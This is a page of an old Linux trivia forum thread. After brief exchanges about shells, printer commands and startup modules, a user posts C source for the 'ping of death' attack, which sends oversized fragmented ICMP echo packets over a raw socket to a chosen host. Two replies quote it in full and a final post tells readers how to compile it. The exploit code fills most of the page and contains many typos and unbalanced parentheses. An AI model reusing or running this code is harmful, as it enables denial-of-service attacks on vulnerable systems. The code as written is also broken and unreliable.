Page 17 of 21 FirstFirst ... 714151617181920 ... LastLast
Results 161 to 170 of 207

Thread: Linux Quiz

  1. #161
    Poster
    Join Date
    Jan 2003
    Posts
    889
    Ok new question



    How do you change your default shell?

  2. Software & Hardware   -   #162
    BANNED
    Join Date
    Mar 2003
    Posts
    3,946
    Shn r u hidin again

  3. Software & Hardware   -   #163
    shn's Avatar Ð3ƒμ|\|(7
    Join Date
    May 2003
    Posts
    3,568
    Originally posted by LSA@24 March 2004 - 16:24
    Ok new question



    How do you change your default shell?
    Even though you edited that, I'm still going to post this because Linux Quiz is for learning after all right?

    Your proposed answer formally debated before your edit.

    DESCRIPTION

          lpq  shows  the  current print queue status on the named printer.  Jobs
          queued on the default destination will be shown if no printer or  class
          is specified on the command-line.

          The  interval  option allows you to continuously report the jobs in the
          queue until the queue is empty; the list of  jobs  is  show  one  every
          interval seconds.......................
    The correct answer is lpc

    NAME
        lpc - line printer control program

    SYNOPSIS
        lpc [command [argument ...]]

    DESCRIPTION
        lpc is used by the system administrator to control the operation of the
        line printer system.  For each line printer configured in /etc/printcap,
        lpc may be used to:

              o  disable or enable a printer,

              o  disable or enable a printer's spooling queue,

              o  rearrange the order of jobs in a spooling queue,

              o  find the status of printers, and their associated spooling
                  queues and printer daemons...................
    Source

  4. Software & Hardware   -   #164
    BANNED
    Join Date
    Mar 2003
    Posts
    3,946

  5. Software & Hardware   -   #165
    Poster
    Join Date
    Jan 2003
    Posts
    889
    Originally posted by shn+24 March 2004 - 16:43--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (shn @ 24 March 2004 - 16:43)</td></tr><tr><td id='QUOTE'> <!--QuoteBegin-LSA@24 March 2004 - 16:24
    Ok new question



    How do you change your default shell?
    Even though you edited that, I&#39;m still going to post this because Linux Quiz is for learning after all right?

    Your proposed answer formally debated before your edit.

    DESCRIPTION

    &nbsp; &nbsp; &nbsp; lpq&nbsp; shows&nbsp; the&nbsp; current print queue status on the named printer.&nbsp; Jobs
    &nbsp; &nbsp; &nbsp; queued on the default destination will be shown if no printer or&nbsp; class
    &nbsp; &nbsp; &nbsp; is specified on the command-line.

    &nbsp; &nbsp; &nbsp; The&nbsp; interval&nbsp; option allows you to continuously report the jobs in the
    &nbsp; &nbsp; &nbsp; queue until the queue is empty; the list of&nbsp; jobs&nbsp; is&nbsp; show&nbsp; one&nbsp; every
    &nbsp; &nbsp; &nbsp; interval seconds.......................
    The correct answer is lpc

    NAME
    &nbsp; &nbsp; lpc - line printer control program

    SYNOPSIS
    &nbsp; &nbsp; lpc [command [argument ...]]

    DESCRIPTION
    &nbsp; &nbsp; lpc is used by the system administrator to control the operation of the
    &nbsp; &nbsp; line printer system.&nbsp; For each line printer configured in /etc/printcap,
    &nbsp; &nbsp; lpc may be used to:

    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; o&nbsp; disable or enable a printer,

    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; o&nbsp; disable or enable a printer&#39;s spooling queue,

    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; o&nbsp; rearrange the order of jobs in a spooling queue,

    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; o&nbsp; find the status of printers, and their associated spooling
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; queues and printer daemons...................
    Source [/b][/quote]
    Thanks, I was wondering about that.

    I looked at the man pages after I posted because I wasn&#39;t sure, but both pages said stuff about queue so I just took it out. :">

  6. Software & Hardware   -   #166
    Poster
    Join Date
    Jan 2003
    Posts
    889
    New question, what config file lists the modules to be loaded at startup?

  7. Software & Hardware   -   #167
    h1
    Guest
    A valid answer to the question posed by me on page three would be:
    Code:
    #include &#60;stdio.h&#62;
    #include &#60;sys/types.h&#62;
    #include &#60;sys/socket.h&#62;
    #include &#60;netdb.h&#62;
    #include &#60;netinet/in.h&#62;
    #include &#60;netinet/in_systm.h&#62;
    #include &#60;netinet/ip.h&#62;
    #include &#60;netinet/ip_icmp.h&#62;
    #ifdef REALLY_RAW
    #define FIX&#40;x&#41; htons&#40;x&#41;
    #else
    #define FIX&#40;x&#41; &#40;x&#41;
    #endif
    int main&#40;int argc, char **argv&#41;
    {
     &nbsp; int s;
     &nbsp; char buf&#91;1500&#93;;
     &nbsp; struct ip *ip = &#40;struct ip *&#41;buf;
     &nbsp; struct icmp *icmp = &#40;struct icmp *&#41;&#40;ip + 1&#41;;
     &nbsp; struct hostent *hp;
     &nbsp; struct sockaddr_in dst;
     &nbsp; int offset;
     &nbsp; int on = 1;
     &nbsp; bzero&#40;buf, sizseof buf&#41;;
     &nbsp; if &#40;&#40;s = socket&#40;AF_INET, SOCK_RAW, IPPROTO_IP&#41;&#41; &#60; 0&#41;
     &nbsp; {
     &nbsp; &nbsp; &nbsp;perror&#40;&#34;socket&#34;&#41;;
     &nbsp; &nbsp; &nbsp;exit&#40;1&#41;;
     &nbsp; }
     &nbsp; if &#40;setsockopts&#40;s, IPPROTO_IP, IP_HDRINCL, &on, sizeof&#40;on&#41;&#41; &#60; 0
     &nbsp; {
     &nbsp; &nbsp; &nbsp;perror&#40;&#34;IP_HDRINCL&#34;&#41;;
     &nbsp; &nbsp; &nbsp;exit&#40;1&#41;;
     &nbsp; }
     &nbsp; if &#40;argc &#33;= 2&#41;
     &nbsp; {
     &nbsp; &nbsp; &nbsp;fprintf&#40;stderr, &#34;usage&#58; %s hostname&#092;n&#58;, argv&#91;0&#93;&#41;;
     &nbsp; &nbsp; &nbsp;exit&#40;1&#41;;
     &nbsp; }
     &nbsp; if &#40;&#40;hp = getbyhostname&#40;argv&#91;1&#93;&#41;&#41; == NULL&#41;
     &nbsp; {
     &nbsp; &nbsp; &nbsp;if &#40;&#40;ip-&#62;ip_dst.s_addr = inet_addr&#40;argv&#91;1&#93;&#41;&#41; == -1&#41;
     &nbsp; &nbsp; &nbsp;{
     &nbsp; &nbsp; &nbsp; &nbsp; fprintf9stderr, &#34;%s&#58; unknown host&#092;n&#34;, argv&#91;1&#93;&#41;;
     &nbsp; &nbsp; &nbsp;}
     &nbsp; }
     &nbsp; else
     &nbsp; {
     &nbsp; &nbsp; &nbsp;bcopy&#40;hp-&#62;h_addr_list&#91;0&#93;, &ip-&#62;ip_dst.s_addr, hp-&#62;h_length;
     &nbsp; }
     &nbsp; printf&#40;&#34;Sending to %s&#092;n&#34;, inet_ntoa&#40;ip-&#62;ip_dst&#41;&#41;;
     &nbsp; ip-&#62;ip_v = 4;
     &nbsp; ip-&#62;ip_hl = sizeof *ip &#62;&#62; 2;
     &nbsp; ip-&#62;ip_tos = 0;
     &nbsp; ip-&#62;ip_len = FIX&#40;sizeof buf&#41;;
     &nbsp; ip-&#62;ip_id = htons&#40;4321&#41;;
     &nbsp; ip-&#62;ip_off = FIX&#40;0&#41;;
     &nbsp; ip-&#62;ip_ttl = 255;
     &nbsp; ip-&#62;ip_p = 1;
     &nbsp; ip-&#62;ip_sum = 0;
     &nbsp; ip-&#62;ip_src.s_addr = 0;
     &nbsp; dst.sin_addr = ip-&#62;ip_dst;
     &nbsp; dst.sin_family = AF_INET;
     &nbsp; icmp-&#62;icmp_type = ICMP_ECHO;
     &nbsp; icmp-&#62;icmp_code = 0;
     &nbsp; icmp-&#62;icmp_cksum = htons&#40;~&#40;ICMP_ECHO &#60;&#60; 8&#41;&#41;;
     &nbsp; for &#40;offset = 0; offset &#60;65536; offset += &#40;sizeof buf - sizeof *ip&#41;&#41;
     &nbsp; {
     &nbsp; &nbsp; &nbsp;ip-&#62;ip_off = FIX&#40;offset &#62;&#62; 3&#41;;
     &nbsp; &nbsp; &nbsp;if &#40;offset &#60; 65120&#41;
     &nbsp; &nbsp; &nbsp;ip-&#62;ip_off l= FIX&#40;IP_MF&#41;;
     &nbsp; &nbsp; &nbsp;else ip-&#62;ip_len = FIX&#40;418&#41;;
     &nbsp; &nbsp; &nbsp;if &#40;sendto&#40;s, buf, sizeof buf, 0, &#40;struct sockaddr *&#41;&dst, sizeof dst&#41; &#60; 0&#41;
     &nbsp; &nbsp; &nbsp;{
     &nbsp; &nbsp; &nbsp; &nbsp; fprintf&#40;stderr, &#34;offset %d&#58; &#34;, offset&#41;;
     &nbsp; &nbsp; &nbsp; &nbsp; perror&#40;&#34;sendto&#34;&#41;;
     &nbsp; &nbsp; &nbsp;}
     &nbsp; &nbsp; &nbsp;if &#40;offset == 0&#41;
     &nbsp; &nbsp; &nbsp;{
     &nbsp; &nbsp; &nbsp; &nbsp; icmp-&#62;icmp_type = 0;
     &nbsp; &nbsp; &nbsp; &nbsp; icmp-&#62;icmp_code = 0;
     &nbsp; &nbsp; &nbsp; &nbsp; icmp-&#62;icmp_cksum = 0;
     &nbsp; &nbsp; &nbsp;}
     &nbsp; }
    }

  8. Software & Hardware   -   #168
    Poster
    Join Date
    Jan 2003
    Posts
    889
    Originally posted by haxor41789@24 March 2004 - 19:41
    A valid answer to the question posed by me on page three would be:
    Code:
    #include &#60;stdio.h&#62;
    #include &#60;sys/types.h&#62;
    #include &#60;sys/socket.h&#62;
    #include &#60;netdb.h&#62;
    #include &#60;netinet/in.h&#62;
    #include &#60;netinet/in_systm.h&#62;
    #include &#60;netinet/ip.h&#62;
    #include &#60;netinet/ip_icmp.h&#62;
    #ifdef REALLY_RAW
    #define FIX&#40;x&#41; htons&#40;x&#41;
    #else
    #define FIX&#40;x&#41; &#40;x&#41;
    #endif
    int main&#40;int argc, char **argv&#41;
    {
     &nbsp; int s;
     &nbsp; char buf&#91;1500&#93;;
     &nbsp; struct ip *ip = &#40;struct ip *&#41;buf;
     &nbsp; struct icmp *icmp = &#40;struct icmp *&#41;&#40;ip + 1&#41;;
     &nbsp; struct hostent *hp;
     &nbsp; struct sockaddr_in dst;
     &nbsp; int offset;
     &nbsp; int on = 1;
     &nbsp; bzero&#40;buf, sizseof buf&#41;;
     &nbsp; if &#40;&#40;s = socket&#40;AF_INET, SOCK_RAW, IPPROTO_IP&#41;&#41; &#60; 0&#41;
     &nbsp; {
     &nbsp; &nbsp; &nbsp;perror&#40;&#34;socket&#34;&#41;;
     &nbsp; &nbsp; &nbsp;exit&#40;1&#41;;
     &nbsp; }
     &nbsp; if &#40;setsockopts&#40;s, IPPROTO_IP, IP_HDRINCL, &on, sizeof&#40;on&#41;&#41; &#60; 0
     &nbsp; {
     &nbsp; &nbsp; &nbsp;perror&#40;&#34;IP_HDRINCL&#34;&#41;;
     &nbsp; &nbsp; &nbsp;exit&#40;1&#41;;
     &nbsp; }
     &nbsp; if &#40;argc &#33;= 2&#41;
     &nbsp; {
     &nbsp; &nbsp; &nbsp;fprintf&#40;stderr, &#34;usage&#58; %s hostname&#092;n&#58;, argv&#91;0&#93;&#41;;
     &nbsp; &nbsp; &nbsp;exit&#40;1&#41;;
     &nbsp; }
     &nbsp; if &#40;&#40;hp = getbyhostname&#40;argv&#91;1&#93;&#41;&#41; == NULL&#41;
     &nbsp; {
     &nbsp; &nbsp; &nbsp;if &#40;&#40;ip-&#62;ip_dst.s_addr = inet_addr&#40;argv&#91;1&#93;&#41;&#41; == -1&#41;
     &nbsp; &nbsp; &nbsp;{
     &nbsp; &nbsp; &nbsp; &nbsp; fprintf9stderr, &#34;%s&#58; unknown host&#092;n&#34;, argv&#91;1&#93;&#41;;
     &nbsp; &nbsp; &nbsp;}
     &nbsp; }
     &nbsp; else
     &nbsp; {
     &nbsp; &nbsp; &nbsp;bcopy&#40;hp-&#62;h_addr_list&#91;0&#93;, &ip-&#62;ip_dst.s_addr, hp-&#62;h_length;
     &nbsp; }
     &nbsp; printf&#40;&#34;Sending to %s&#092;n&#34;, inet_ntoa&#40;ip-&#62;ip_dst&#41;&#41;;
     &nbsp; ip-&#62;ip_v = 4;
     &nbsp; ip-&#62;ip_hl = sizeof *ip &#62;&#62; 2;
     &nbsp; ip-&#62;ip_tos = 0;
     &nbsp; ip-&#62;ip_len = FIX&#40;sizeof buf&#41;;
     &nbsp; ip-&#62;ip_id = htons&#40;4321&#41;;
     &nbsp; ip-&#62;ip_off = FIX&#40;0&#41;;
     &nbsp; ip-&#62;ip_ttl = 255;
     &nbsp; ip-&#62;ip_p = 1;
     &nbsp; ip-&#62;ip_sum = 0;
     &nbsp; ip-&#62;ip_src.s_addr = 0;
     &nbsp; dst.sin_addr = ip-&#62;ip_dst;
     &nbsp; dst.sin_family = AF_INET;
     &nbsp; icmp-&#62;icmp_type = ICMP_ECHO;
     &nbsp; icmp-&#62;icmp_code = 0;
     &nbsp; icmp-&#62;icmp_cksum = htons&#40;~&#40;ICMP_ECHO &#60;&#60; 8&#41;&#41;;
     &nbsp; for &#40;offset = 0; offset &#60;65536; offset += &#40;sizeof buf - sizeof *ip&#41;&#41;
     &nbsp; {
     &nbsp; &nbsp; &nbsp;ip-&#62;ip_off = FIX&#40;offset &#62;&#62; 3&#41;;
     &nbsp; &nbsp; &nbsp;if &#40;offset &#60; 65120&#41;
     &nbsp; &nbsp; &nbsp;ip-&#62;ip_off l= FIX&#40;IP_MF&#41;;
     &nbsp; &nbsp; &nbsp;else ip-&#62;ip_len = FIX&#40;418&#41;;
     &nbsp; &nbsp; &nbsp;if &#40;sendto&#40;s, buf, sizeof buf, 0, &#40;struct sockaddr *&#41;&dst, sizeof dst&#41; &#60; 0&#41;
     &nbsp; &nbsp; &nbsp;{
     &nbsp; &nbsp; &nbsp; &nbsp; fprintf&#40;stderr, &#34;offset %d&#58; &#34;, offset&#41;;
     &nbsp; &nbsp; &nbsp; &nbsp; perror&#40;&#34;sendto&#34;&#41;;
     &nbsp; &nbsp; &nbsp;}
     &nbsp; &nbsp; &nbsp;if &#40;offset == 0&#41;
     &nbsp; &nbsp; &nbsp;{
     &nbsp; &nbsp; &nbsp; &nbsp; icmp-&#62;icmp_type = 0;
     &nbsp; &nbsp; &nbsp; &nbsp; icmp-&#62;icmp_code = 0;
     &nbsp; &nbsp; &nbsp; &nbsp; icmp-&#62;icmp_cksum = 0;
     &nbsp; &nbsp; &nbsp;}
     &nbsp; }
    }
    I was just thinking that&#33;

    j/k

  9. Software & Hardware   -   #169
    shn's Avatar Ð3ƒμ|\|(7
    Join Date
    May 2003
    Posts
    3,568
    Originally posted by haxor41789@24 March 2004 - 19:41
    A valid answer to the question posed by me on page three would be:
    Code:
    #include &#60;stdio.h&#62;
    #include &#60;sys/types.h&#62;
    #include &#60;sys/socket.h&#62;
    #include &#60;netdb.h&#62;
    #include &#60;netinet/in.h&#62;
    #include &#60;netinet/in_systm.h&#62;
    #include &#60;netinet/ip.h&#62;
    #include &#60;netinet/ip_icmp.h&#62;
    #ifdef REALLY_RAW
    #define FIX&#40;x&#41; htons&#40;x&#41;
    #else
    #define FIX&#40;x&#41; &#40;x&#41;
    #endif
    int main&#40;int argc, char **argv&#41;
    {
      int s;
      char buf&#91;1500&#93;;
      struct ip *ip = &#40;struct ip *&#41;buf;
      struct icmp *icmp = &#40;struct icmp *&#41;&#40;ip + 1&#41;;
      struct hostent *hp;
      struct sockaddr_in dst;
      int offset;
      int on = 1;
      bzero&#40;buf, sizseof buf&#41;;
      if &#40;&#40;s = socket&#40;AF_INET, SOCK_RAW, IPPROTO_IP&#41;&#41; &#60; 0&#41;
      {
       perror&#40;&#34;socket&#34;&#41;;
       exit&#40;1&#41;;
      }
      if &#40;setsockopts&#40;s, IPPROTO_IP, IP_HDRINCL, &on, sizeof&#40;on&#41;&#41; &#60; 0
      {
       perror&#40;&#34;IP_HDRINCL&#34;&#41;;
       exit&#40;1&#41;;
      }
      if &#40;argc &#33;= 2&#41;
      {
       fprintf&#40;stderr, &#34;usage&#58; %s hostname&#092;n&#58;, argv&#91;0&#93;&#41;;
       exit&#40;1&#41;;
      }
      if &#40;&#40;hp = getbyhostname&#40;argv&#91;1&#93;&#41;&#41; == NULL&#41;
      {
       if &#40;&#40;ip-&#62;ip_dst.s_addr = inet_addr&#40;argv&#91;1&#93;&#41;&#41; == -1&#41;
       {
         fprintf9stderr, &#34;%s&#58; unknown host&#092;n&#34;, argv&#91;1&#93;&#41;;
       }
      }
      else
      {
       bcopy&#40;hp-&#62;h_addr_list&#91;0&#93;, &ip-&#62;ip_dst.s_addr, hp-&#62;h_length;
      }
      printf&#40;&#34;Sending to %s&#092;n&#34;, inet_ntoa&#40;ip-&#62;ip_dst&#41;&#41;;
      ip-&#62;ip_v = 4;
      ip-&#62;ip_hl = sizeof *ip &#62;&#62; 2;
      ip-&#62;ip_tos = 0;
      ip-&#62;ip_len = FIX&#40;sizeof buf&#41;;
      ip-&#62;ip_id = htons&#40;4321&#41;;
      ip-&#62;ip_off = FIX&#40;0&#41;;
      ip-&#62;ip_ttl = 255;
      ip-&#62;ip_p = 1;
      ip-&#62;ip_sum = 0;
      ip-&#62;ip_src.s_addr = 0;
      dst.sin_addr = ip-&#62;ip_dst;
      dst.sin_family = AF_INET;
      icmp-&#62;icmp_type = ICMP_ECHO;
      icmp-&#62;icmp_code = 0;
      icmp-&#62;icmp_cksum = htons&#40;~&#40;ICMP_ECHO &#60;&#60; 8&#41;&#41;;
      for &#40;offset = 0; offset &#60;65536; offset += &#40;sizeof buf - sizeof *ip&#41;&#41;
      {
       ip-&#62;ip_off = FIX&#40;offset &#62;&#62; 3&#41;;
       if &#40;offset &#60; 65120&#41;
       ip-&#62;ip_off l= FIX&#40;IP_MF&#41;;
       else ip-&#62;ip_len = FIX&#40;418&#41;;
       if &#40;sendto&#40;s, buf, sizeof buf, 0, &#40;struct sockaddr *&#41;&dst, sizeof dst&#41; &#60; 0&#41;
       {
         fprintf&#40;stderr, &#34;offset %d&#58; &#34;, offset&#41;;
         perror&#40;&#34;sendto&#34;&#41;;
       }
       if &#40;offset == 0&#41;
       {
         icmp-&#62;icmp_type = 0;
         icmp-&#62;icmp_code = 0;
         icmp-&#62;icmp_cksum = 0;
       }
      }
    }
    I&#39;m ripping your code for confirmation.

  10. Software & Hardware   -   #170
    h1
    Guest
    You&#39;ll need REALLY_RAW to compile it.

Page 17 of 21 FirstFirst ... 714151617181920 ... LastLast

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •